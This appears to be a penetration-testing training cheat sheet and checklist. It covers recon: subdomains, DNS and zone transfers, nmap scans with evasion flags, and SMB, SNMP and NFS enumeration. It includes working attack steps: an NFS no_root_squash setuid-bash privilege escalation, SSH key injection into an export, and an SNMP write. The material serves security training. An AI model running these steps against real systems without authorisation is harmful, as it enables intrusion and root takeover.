Cheatsheet

Certificate Transparency

# subdomains from crt.sh
curl -s "https://crt.sh/?q=TARGET.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
 
# alternative — assetfinder, subfinder, amass
subfinder -d TARGET.com -silent
amass enum -passive -d TARGET.com
assetfinder --subs-only TARGET.com

ASN / Netblock Lookup

whois -h whois.cymru.com "-v IP"
whois -h whois.radb.net -- '-i origin ASxxxxx' | grep -Eo "([0-9.]+){4}/[0-9]+"

Subdomain Brute Force

gobuster dns -d TARGET.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
puredns bruteforce subdomains.txt TARGET.com -r resolvers.txt

vHost Fuzzing

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ \
     -u http://IP -H "Host: FUZZ.TARGET.com" -fs <baseline_size>

DNS Queries

dig A TARGET.com
dig MX TARGET.com
dig TXT TARGET.com
dig NS TARGET.com
dig ANY TARGET.com
dig @8.8.8.8 TARGET.com
dig +short MX TARGET.com
 
# zone transfer attempt
dig axfr @ns1.TARGET.com TARGET.com
 
# reverse DNS
dnsrecon -r 10.0.0.0/24
for ip in $(seq 1 254); do host 10.0.0.$ip | grep "name pointer"; done

Nmap — Core Scans

# all ports, fast
nmap -p- --min-rate=5000 TARGET -oN all-ports.nmap
 
# service detection on open ports
nmap -p 22,80,443 -sC -sV TARGET -oN services.nmap
 
# UDP top ports
nmap -sU --top-ports 100 TARGET
 
# aggressive
nmap -A TARGET
 
# specific scripts
nmap --script "smb-*" -p 445 TARGET
nmap --script "http-*" -p 80 TARGET
nmap --script vuln TARGET

Nmap — Evasion

nmap -T2 TARGET                     # slow timing
nmap -f TARGET                      # fragment packets
nmap --source-port 53 TARGET        # source port
nmap -D RND:10 TARGET               # decoys
nmap -sI zombie TARGET              # idle scan

HTTP Fingerprinting

whatweb -a 3 http://TARGET
curl -sI http://TARGET
nikto -h http://TARGET
wappalyzer http://TARGET
httpx -silent -tech-detect -status-code -title -l hosts.txt

SMB Enumeration

smbclient -L //TARGET -N
enum4linux -a TARGET
crackmapexec smb TARGET
nmap --script smb-enum-shares TARGET

SNMP — Brute Community Strings

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt TARGET
onesixtyone -c strings.txt -i hosts.txt -o results.txt

SNMP — Enumerate

# all data (snmpwalk — slow but readable)
snmpwalk -v2c -c public TARGET
 
# specific OIDs
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.1               # system info
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.25.4.2.1.2      # processes
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.25.6.3.1.2      # installed software
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.2.2.1.2         # interfaces
snmpwalk -v2c -c public TARGET 1.3.6.1.4.1.77.1.2.25       # Windows users
 
# fast mass scan — braa
braa public@TARGET:.1.3.6.*

SNMP — Modify (rwcommunity)

snmpset -v2c -c private TARGET 1.3.6.1.2.1.1.5.0 s "newhostname"

NFS Discovery

nmap -p 111,2049 TARGET
nmap --script nfs-* -p 2049 TARGET
showmount -e TARGET

NFS Mount & Read

sudo mkdir /mnt/target
sudo mount -t nfs TARGET:/share /mnt/target
sudo mount -t nfs -o vers=3 TARGET:/share /mnt/target
ls -lan /mnt/target

NFS — no_root_squash Exploit

# as root on client
cp /bin/bash /mnt/target/pwn
chown root:root /mnt/target/pwn
chmod u+s /mnt/target/pwn
 
# as any user on server
./pwn -p
whoami    # root

NFS — SSH Key Injection

ssh-keygen -t ed25519 -f victim_key -N ""
mkdir -p /mnt/target/.ssh
cat victim_key.pub >> /mnt/target/.ssh/authorized_keys
chmod 600 /mnt/target/.ssh/authorized_keys
ssh -i victim_key victim@TARGET

Common Useful OIDs

1.3.6.1.2.1.1.1.0                    # system description
1.3.6.1.2.1.1.5.0                    # hostname
1.3.6.1.2.1.1.3.0                    # uptime
1.3.6.1.2.1.25.1.5.0                 # Windows users count
1.3.6.1.2.1.25.4.2.1.2               # processes
1.3.6.1.2.1.25.6.3.1.2               # installed software
1.3.6.1.2.1.4.20.1.1                 # local IPs
1.3.6.1.2.1.6.13.1.3                 # TCP local ports
1.3.6.1.4.1.77.1.2.25                # Windows users

Common DNS Record Query Patterns

# find mail provider
dig +short MX TARGET.com
 
# find cloud services via TXT
dig +short TXT TARGET.com
dig +short TXT _dmarc.TARGET.com
 
# find all NS, check each for AXFR
for ns in $(dig +short NS TARGET.com); do
  dig axfr @$ns TARGET.com
done

Checklist

Layer 1 — Internet Presence

  • Query crt.sh for subdomains
  • Run subfinder + amass passive
  • Combine and dedupe subdomain lists
  • Find ASN from any known IP, map all netblocks
  • Scan netblocks with nmap -sn to find live hosts
  • Cross-reference live hosts with DNS names

Layer 2 — Gateway

  • Identify CDN/WAF (Cloudflare, Akamai, etc.) via headers
  • Note which services are behind the WAF vs direct
  • Check for VPN endpoints (port 500, 4500, 1194)
  • Look for cloud infrastructure (S3, Azure, GCS buckets)

Layer 3 — Accessible Services

  • nmap TCP full port scan
  • nmap UDP top 100 ports
  • Service version detection on open ports
  • NSE scripts per discovered service
  • Fingerprint HTTP services (whatweb, wappalyzer)

DNS Enumeration

  • Query A, MX, TXT, NS, SOA records
  • Attempt AXFR against every nameserver
  • Brute-force subdomains with wordlist
  • Reverse DNS on discovered netblocks
  • Analyze TXT records for cloud service hints
  • Check _dmarc subdomain for email policy

vHost Enumeration

  • ffuf with Host header fuzzing against each IP
  • Note which vhosts return different content
  • Add discovered vhosts to /etc/hosts for further testing

SNMP

  • Check port 161/udp open with nmap -sU
  • Brute-force community strings with onesixtyone
  • If successful: snmpwalk full enumeration
  • Mine for: OS version, software, users, network topology
  • If rwcommunity found: document impact (don’t necessarily modify)

NFS

  • nmap ports 111, 2049
  • showmount -e target to list exports
  • Mount each export accessible to you
  • ls -lan to check ownership
  • Look for sensitive files (configs, keys, dumps)
  • Test for no_root_squash by reading root-owned files
  • If writable: consider SSH key injection, setuid binaries

SMB (also covered in Attacking Common Services)

  • smbclient -L //target -N for anon share list
  • enum4linux -a target for full enum
  • Mount accessible shares, inspect contents

Documentation

  • Record every discovered host, IP, hostname, port, service, version
  • Note any default credentials that worked
  • Map network layout (gateway, DMZ, internal segments)
  • List all shares, exports, services found
  • Prepare summary for reporting